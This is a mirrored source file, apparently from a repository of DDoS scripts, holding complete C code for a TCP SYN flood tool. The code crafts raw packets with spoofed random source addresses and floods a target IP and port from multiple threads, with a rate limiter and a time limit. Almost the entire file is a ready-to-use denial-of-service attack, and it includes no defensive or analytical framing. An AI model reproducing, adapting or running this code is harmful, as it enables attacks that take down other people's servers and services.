Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L4/TCP/csyn.c
4565 views
1
/*
2
* This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;)
3
*/
4
5
#include <pthread.h>
6
#include <unistd.h>
7
#include <stdio.h>
8
#include <stdlib.h>
9
#include <string.h>
10
#include <sys/socket.h>
11
#include <netinet/ip.h>
12
#include <netinet/tcp.h>
13
#include <time.h>
14
#define MAX_PACKET_SIZE 4096
15
#define PHI 0x9e3779b9
16
static unsigned long int Q[4096], c = 362436;
17
static unsigned int floodport;
18
volatile int limiter;
19
volatile unsigned int pps;
20
volatile unsigned int sleeptime = 100;
21
void init_rand(unsigned long int x)
22
{
23
int i;
24
Q[0] = x;
25
Q[1] = x + PHI;
26
Q[2] = x + PHI + PHI;
27
for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
28
}
29
unsigned long int rand_cmwc(void)
30
{
31
unsigned long long int t, a = 18782LL;
32
static unsigned long int i = 4095;
33
unsigned long int x, r = 0xfffffffe;
34
i = (i + 1) & 4095;
35
t = a * Q[i] + c;
36
c = (t >> 32);
37
x = t + c;
38
if (x < c) {
39
x++;
40
c++;
41
}
42
return (Q[i] = r - x);
43
}
44
unsigned short csum (unsigned short *buf, int count)
45
{
46
register unsigned long sum = 0;
47
while( count > 1 ) { sum += *buf++; count -= 2; }
48
if(count > 0) { sum += *(unsigned char *)buf; }
49
while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
50
return (unsigned short)(~sum);
51
}
52
unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
53
struct tcp_pseudo
54
{
55
unsigned long src_addr;
56
unsigned long dst_addr;
57
unsigned char zero;
58
unsigned char proto;
59
unsigned short length;
60
} pseudohead;
61
unsigned short total_len = iph->tot_len;
62
pseudohead.src_addr=iph->saddr;
63
pseudohead.dst_addr=iph->daddr;
64
pseudohead.zero=0;
65
pseudohead.proto=IPPROTO_TCP;
66
pseudohead.length=htons(sizeof(struct tcphdr));
67
int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
68
unsigned short *tcp = malloc(totaltcp_len);
69
memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
70
memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
71
unsigned short output = csum(tcp,totaltcp_len);
72
free(tcp);
73
return output;
74
}
75
void setup_ip_header(struct iphdr *iph)
76
{
77
char ip[17];
78
snprintf(ip, sizeof(ip)-1, "%d.%d.%d.%d", rand()%255, rand()%255, rand()%255, rand()%255);
79
iph->ihl = 5;
80
iph->version = 4;
81
iph->tos = 0;
82
iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
83
iph->id = htonl(rand()%54321);
84
iph->frag_off = 0;
85
iph->ttl = MAXTTL;
86
iph->protocol = 6;
87
iph->check = 0;
88
iph->saddr = inet_addr(ip);
89
}
90
void setup_tcp_header(struct tcphdr *tcph)
91
{
92
tcph->source = htons(rand()%65535);
93
tcph->seq = rand();
94
tcph->ack_seq = 0;
95
tcph->res2 = 1;
96
tcph->doff = 5;
97
tcph->syn = 1;
98
tcph->window = rand();
99
tcph->check = 0;
100
tcph->urg_ptr = 0;
101
}
102
void *flood(void *par1)
103
{
104
char *td = (char *)par1;
105
char datagram[MAX_PACKET_SIZE];
106
struct iphdr *iph = (struct iphdr *)datagram;
107
struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
108
struct sockaddr_in sin;
109
sin.sin_family = AF_INET;
110
sin.sin_port = htons(floodport);
111
sin.sin_addr.s_addr = inet_addr(td);
112
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
113
if(s < 0){
114
fprintf(stderr, "Could not open raw socket.\n");
115
exit(-1);
116
}
117
memset(datagram, 0, MAX_PACKET_SIZE);
118
setup_ip_header(iph);
119
setup_tcp_header(tcph);
120
tcph->dest = htons(floodport);
121
iph->daddr = sin.sin_addr.s_addr;
122
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
123
int tmp = 1;
124
const int *val = &tmp;
125
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
126
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
127
exit(-1);
128
}
129
init_rand(time(NULL));
130
register unsigned int i;
131
i = 0;
132
while(1){
133
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
134
setup_ip_header(iph);
135
setup_tcp_header(tcph);
136
iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
137
iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
138
tcph->dest = htons(floodport);
139
iph->daddr = sin.sin_addr.s_addr;
140
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
141
tcph->seq = rand_cmwc() & 0xFFFF;
142
tcph->source = htons(rand_cmwc() & 0xFFFF);
143
tcph->check = 0;
144
tcph->check = tcpcsum(iph, tcph);
145
pps++;
146
if(i >= limiter)
147
{
148
i = 0;
149
usleep(sleeptime);
150
}
151
i++;
152
}
153
}
154
int main(int argc, char *argv[ ])
155
{
156
if(argc < 6){
157
fprintf(stderr, "Invalid parameters!\n");
158
fprintf(stdout, "Usage: %s <target IP> <port to be flooded> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
159
exit(-1);
160
}
161
srand(time(0));
162
fprintf(stdout, "Tank: So what do you need? Besides a miracle.\nNeo: Packets. Lots of packets.\n");
163
int num_threads = atoi(argv[3]);
164
floodport = atoi(argv[2]);
165
int maxpps = atoi(argv[4]);
166
limiter = 0;
167
pps = 0;
168
pthread_t thread[num_threads];
169
int multiplier = 20;
170
int i;
171
for(i = 0;i<num_threads;i++){
172
pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
173
}
174
for(i = 0;i<(atoi(argv[5])*multiplier);i++)
175
{
176
usleep((1000/multiplier)*1000);
177
if((pps*multiplier) > maxpps)
178
{
179
if(1 > limiter)
180
{
181
sleeptime+=100;
182
} else {
183
limiter--;
184
}
185
} else {
186
limiter++;
187
if(sleeptime > 25)
188
{
189
sleeptime-=25;
190
} else {
191
sleeptime = 0;
192
}
193
}
194
pps = 0;
195
}
196
return 0;
197
}
198